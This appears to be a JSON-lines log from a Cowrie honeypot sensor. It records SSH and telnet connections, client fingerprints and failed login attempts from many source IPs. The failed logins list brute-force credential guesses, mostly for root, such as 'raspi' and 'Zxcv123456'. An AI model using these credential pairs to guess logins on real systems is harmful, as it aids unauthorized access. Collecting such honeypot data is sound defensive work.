{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:18.425787Z","src_ip":"221.161.235.168","session":"4e12eb521551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:19.252507Z","src_ip":"221.161.235.168","session":"4e12eb521551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:20.453991Z","src_ip":"221.161.235.168","session":"4e12eb521551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.234.154.213","src_port":49302,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf3426071cb","protocol":"telnet","message":"New connection: 122.234.154.213:49302 (159.203.135.109:23) [session: 5cf3426071cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:22.653014Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:22.698271Z","src_ip":"8.218.166.49","session":"061ff76c64ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.20.67","src_port":28968,"dst_ip":"159.203.135.109","dst_port":23,"session":"94a6da65adac","protocol":"telnet","message":"New connection: 65.49.20.67:28968 (159.203.135.109:23) [session: 94a6da65adac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:33.385131Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:33.394950Z","src_ip":"65.49.20.67","session":"94a6da65adac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:33.399030Z","src_ip":"65.49.20.67","session":"94a6da65adac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:33.402856Z","src_ip":"65.49.20.67","session":"94a6da65adac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09267687797546387,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:33.477695Z","src_ip":"65.49.20.67","session":"94a6da65adac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.012613773345947,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:35.665506Z","src_ip":"122.234.154.213","session":"5cf3426071cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:35.677350Z","src_ip":"8.218.166.49","session":"53509c84e735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":59320,"dst_ip":"159.203.135.109","dst_port":22,"session":"918002e0c867","protocol":"ssh","message":"New connection: 190.167.237.191:59320 (159.203.135.109:22) [session: 918002e0c867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:40.325064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:40.329962Z","src_ip":"190.167.237.191","session":"918002e0c867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:40.397595Z","src_ip":"190.167.237.191","session":"918002e0c867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mmj","message":"login attempt [root/mmj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:40.697530Z","src_ip":"190.167.237.191","session":"918002e0c867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:41.768789Z","src_ip":"190.167.237.191","session":"918002e0c867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:48.456327Z","src_ip":"8.218.166.49","session":"ee4076474d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":56860,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7b3c45c767e","protocol":"ssh","message":"New connection: 124.155.125.131:56860 (159.203.135.109:22) [session: a7b3c45c767e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:53.963112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:53.968458Z","src_ip":"124.155.125.131","session":"a7b3c45c767e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":49550,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdcb8de5e3aa","protocol":"ssh","message":"New connection: 139.59.208.49:49550 (159.203.135.109:22) [session: fdcb8de5e3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:54.017814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:54.022935Z","src_ip":"139.59.208.49","session":"fdcb8de5e3aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:54.103839Z","src_ip":"139.59.208.49","session":"fdcb8de5e3aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:54.142016Z","src_ip":"124.155.125.131","session":"a7b3c45c767e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv123456","message":"login attempt [root/Zxcv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:54.453925Z","src_ip":"139.59.208.49","session":"fdcb8de5e3aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspi","message":"login attempt [root/raspi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:54.866553Z","src_ip":"124.155.125.131","session":"a7b3c45c767e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:55.537106Z","src_ip":"139.59.208.49","session":"fdcb8de5e3aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:56.042365Z","src_ip":"124.155.125.131","session":"a7b3c45c767e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":42392,"dst_ip":"159.203.135.109","dst_port":22,"session":"59dffff50db4","protocol":"ssh","message":"New connection: 221.161.235.168:42392 (159.203.135.109:22) [session: 59dffff50db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:58.121408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:58.127075Z","src_ip":"221.161.235.168","session":"59dffff50db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:58.326067Z","src_ip":"221.161.235.168","session":"59dffff50db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:58.481053Z","src_ip":"8.218.166.49","session":"061ff76c64ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1987","message":"login attempt [root/1987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:00:59.152976Z","src_ip":"221.161.235.168","session":"59dffff50db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:00.355204Z","src_ip":"221.161.235.168","session":"59dffff50db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:06.924108Z","src_ip":"8.218.166.49","session":"288e95914f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":34856,"dst_ip":"159.203.135.109","dst_port":22,"session":"48a7bfc84481","protocol":"ssh","message":"New connection: 189.113.47.155:34856 (159.203.135.109:22) [session: 48a7bfc84481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:07.686909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:07.692128Z","src_ip":"189.113.47.155","session":"48a7bfc84481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":43150,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bdc27015da8","protocol":"ssh","message":"New connection: 165.154.6.49:43150 (159.203.135.109:22) [session: 1bdc27015da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:07.750166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:07.759402Z","src_ip":"165.154.6.49","session":"1bdc27015da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:07.808404Z","src_ip":"189.113.47.155","session":"48a7bfc84481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:07.973628Z","src_ip":"165.154.6.49","session":"1bdc27015da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"peppino","message":"login attempt [root/peppino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:08.309193Z","src_ip":"189.113.47.155","session":"48a7bfc84481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hannes123","message":"login attempt [root/hannes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:08.862954Z","src_ip":"165.154.6.49","session":"1bdc27015da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:09.427266Z","src_ip":"189.113.47.155","session":"48a7bfc84481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:01:10.081268Z","src_ip":"165.154.6.49","session":"1bdc27015da8","protocol":"ssh"}
